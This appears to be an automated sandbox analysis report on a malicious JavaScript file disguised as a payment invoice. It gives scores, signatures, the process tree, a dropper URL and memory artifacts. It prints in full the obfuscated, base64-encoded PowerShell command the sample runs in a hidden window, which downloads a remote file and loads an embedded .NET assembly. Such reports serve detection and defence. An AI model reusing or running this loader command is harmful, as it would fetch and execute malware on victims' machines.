Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/02/2026, 16:36

General

  • Target
    PaymentDueInvoice#ZS8GQZ2B.js
  • Size 19.4MB
  • Sample260204-t4eawaft3f
  • SHA256 cf682acee9bde875f8895d47c14aed3cc5c9b4d75c0c014ae4c91b4c41e3d741
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://res.cloudinary.com/dy6a9cqng/image/upload/v1770138980/MSI_PRO_with_b64_i2nw7s.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PaymentDueInvoice#ZS8GQZ2B.js
    1⤵
      PID:3688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('KCgnNzR3Z2Fycm9rID0gR3BnNycrJyFAIzc0dyXCqCYqJTc0dyNAISMlNzR3JTc0dyNAISMlNzR3JsKoJTc0dyMlNzR3JirCqDU0ODdEMjU4Nzc0dyU0NTY3Izc0dyU6Ly9yZTI1ODc3NHclNDU2NyM3NHclLmNsb3VkaW5hcnkuY29tL2R5NmE5Y3FuZy9pbWFnZS91JsKoJTc0dyMlNycrJzR3JirCqDU0ODdEJysnbG9hZC92MTc3MDEzODknKyc4MC9NU0lfUFJPX3dpJTc0dyNAISMlNzR3IUAjNzR3JcKoJipfYjY0X2kybnc3MjU4Nzc0dyU0NTY3Izc0dyUuaibCqCU3NHcjJTc0dyYqwqg1NDg3RGdHcGc3LlJlcGxhY2UoR3BnNyFAIzc0dyXCqCYqR3BnNywgR3BnN2hHcGc3KS5SZXBsYWNlKEdwJysnZzclNzR3I0AhJysnIyU3NHdHcGc3LCBHcGc3dEdwZzcnKycpLlJlcGxhY2UoR3BnNybCqCU3NHcjJTc0dyYqwqg1NDg3REdwZzcsIEdwZzdwR3BnNykuUmVwbGFjZShHcGc3MjU4Nzc0dyU0NTY3Izc0dyVHcGc3LCBHcGc3c0dwZzcpJysnOyA3NHdnb2xkZW5zZWFsICcrJz0gR3BnN0M6eHFTY1VzZXJzeHFTY1B1YmxpY3hxU2NEb3duJysnbG9hZHN4cVNjTmFtZV9GaWxlR3BnNzsgaWYgKCEoVGVzdC1QYXRoIDc0d2dvbGRlbnNlYWwpIC1vciAnKycoKEdldCcrJy1EYXRlKSAnKyctIChHZXQtSXQnKydlbSA3NHdnJysnb2xkZW5zZWFsKS5MYXN0V3JpdGVUaW1lKS5Ub3RhbERheXMgJysnLWd0IDEpIHsgICA3NHdQcm9ncmVzc1ByZWZlcmVuY2UgPScrJyBHcGc3U2lsZW50bHlDb250aW51ZUdwZzc7ICAgSW4nKyd2b2snKydlLVdlYlJlcXUnKydlc3QgLVVyaSA3NHdnYXJyb2sgLU91dEZpbGUgNzR3Z29sZGVuc2VhbCAtVXNlQmFzaWNQYXJzaW5nIH07IDc0dycrJ01vaGFtbWVkYW5pc20gPSBbSU8uRmlsZV06OlJlYWRBbGxCeXRlcyg3NHdnb2xkZW5zZWFsKTsgNzR3ZHJhd2ZpbGluZ3MgJysnPSBbVGV4dC5FbmNvZGluZ106OkFTQ0lJLkdldFN0cmluZyg3NHdNJysnb2hhbW1lZGFuJysnaXNtKTsgNzR3ZGV0b25hdG9ycyA9IDc0d2RyYXdmaWxpbmdzLkluZGV4T2YoR3BnN0Jhc2VTdGFydC1HcGc3KTsgNzR3JysndHlwaXN0ID0gNzR3ZHJhd2ZpbGluZ3MuSW5kZXhPZihHcCcrJ2c3LUJhJysncycrJ2VFbmRHcGc3KTsgaWYgKDc0d2RldG9uYXRvcnMgLWdlIDAgLWFuZCA3NHd0eXBpc3QgLWd0IDc0d2QnKydldG9uYXRvcnMpIHsgICA3NHdwb2x5YWNhbnRoaWQgPSA3NHdkcmF3ZmlsaW5ncy5TdWJzdHJpbmcoNzR3ZGV0b25hdG9ycyArJysnIDEwLCA3NHd0eXBpc3QgLSA3NHdkZXRvbmF0b3JzIC0gMTApOyAgIDc0d2FjZXRhYnVsYSA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoNzR3cG9seWFjYW50aGlkKSk7ICAgNzR3bmV1cm9jcicrJ2FuaWFsID0gR3BnN0p6MVJTR1V3TlVOUGVrRnFUVE5CUkU1M1NVUk5Na2xFVFhrNE1XSXliRmRrJysnZUVwWVdYWlJNbHAxV1cxamRUQlhXbmxPTTFsMlVqSk1kbTlFWXpCU1NHRW5MQ2NuTENkRE9seFZjMlZ5YzF4UWRXSnMnKydhV05jUkc5M2JteHZZV1J6WENjc0owNWhiV1ZmUm1sc1pTY3NKMDF6WW5WcGJHUW5MQ2NuTENkTmMySjFhV3hrSnl3bkp5d25WVkpNSnl3blF6cGNWWE5sY25OY1VIVmliR2xqWEVSdmQyNXNiMkZrYzF3bkxDZE9ZVzFsWDBacGJHVW5MQ2RxY3ljc0p6RW5MQ2NuTENkVVlYTnJYMDVoYldVbkxDY3dKeXduSnl3bkp5d25Kdz09R3BnNzsgICA3NHdmYXJtZXJzID0gW1N5c3RlbS5UZXh0LkUnKyduY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5cycrJ3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyg3NHduZXVyb2NyYW5pYWwpKTsgICA3NHdmb3NzZXQgPSA3NHdmYXJtZXJzIC1zcGxpdCBHcGc3LEdwZzcgbWh5UyBGb3JFYWNoLU9iamVjdCB7IDc0d18uVHJpJysnbShHcGc3R3BnN0dwZzdLc0JHcGc3ICkgfTsgICBbU29mdHdhcmUuUHJvZ3JhbV0uR2V0TWV0aG9kKEtzQk1haW4nKydLc0IpLkludm9rZSg3NHdudWxsLCA3NHdmb3NzZXQpOyB9JykgIC1DcmVQbEFDRSdtaHlTJyxbY0hBUl0xMjQgIC1yZVBsYWNlICAoW2NIQVJdNzErW2NIQVJdMTEyK1tjSEFSXTEwMytbY0hBUl01NSksW2NIQVJdMzkgLUNyZVBsQUNFJ3hxU2MnLFtjSEFSXTkyICAtQ3JlUGxBQ0UgJ0tzQicsW2NIQVJdMzQgLXJlUGxhY2UgJzc0dycsW2NIQVJdMzYpIHwgLiggKFtTVFJpbmddJHZlUmJPU2VQUmVmRVJlbmNlKVsxLDNdKyd4Jy1qT0lOJycp')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4704

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_lage3lma.dex.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lage3lma.dex.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/4704-1-0x000001B4462B0000-0x000001B4462C0000-memory.dmp

          memory/4704-0-0x000001B4462B0000-0x000001B4462C0000-memory.dmp

          memory/4704-7-0x000001B4490B0000-0x000001B4490D2000-memory.dmp

          memory/4704-9-0x000001B4462B0000-0x000001B4462C0000-memory.dmp

          memory/4704-12-0x000001B4495E0000-0x000001B449732000-memory.dmp

          memory/4704-14-0x000001B4462B0000-0x000001B4462C0000-memory.dmp

          memory/4704-13-0x000001B4462B0000-0x000001B4462C0000-memory.dmp

          memory/4704-15-0x000001B4462B0000-0x000001B4462C0000-memory.dmp